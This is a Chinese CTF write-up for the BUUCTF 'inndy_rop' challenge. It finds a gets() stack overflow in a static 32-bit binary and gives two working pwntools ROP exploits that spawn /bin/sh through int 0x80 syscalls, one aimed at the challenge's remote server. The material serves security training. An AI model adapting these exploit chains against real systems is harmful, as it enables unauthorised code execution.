ret2syscall

[buu] inndy_rop

检查保护，文件只开启了NX。接着丢进ida里

找到目标函数，gets函数存在明显的栈溢出，并且可以看到该程序是静态链接的程序，这也就意味着我们可以找到足够使用的gaget去构造rop链从而控制程序执行流。

动调确定溢出长度位offset=16

寻找目标gagets

0x080b8016 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x080de769 : pop ecx ; ret
0x0806ecda : pop edx ; ret

对应exp:

from pwn import*
i=process("./rop")
context.log_level="debug"
 
pop_eax=0x080b8016
pop_ebx=0x080481c9
pop_ecx=0x080de769
pop_edx=0x0806ecda
int80=0x0806f430#用radare2，ropgadget搜索不到int 0x80；ret
bss=0x080EB5BD
p1=cyclic(0xc+4)
p1+=flat([pop_eax,0x3,pop_ebx,0,pop_ecx,bss,pop_edx,0x10,int80])
p1+=flat([pop_eax,0xb,pop_ebx,bss,pop_ecx,0,pop_edx,0,int80])
 
 
i.sendline(p1)
i.sendline(b"/bin/sh\x00")
 
i.interactive()

也可利用ropchain

exp:

from pwn import*
from struct import*     #pack
#io=process('./rop')
io=remote('node4.buuoj.cn',29207)
p=b'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(p)
io.interactive()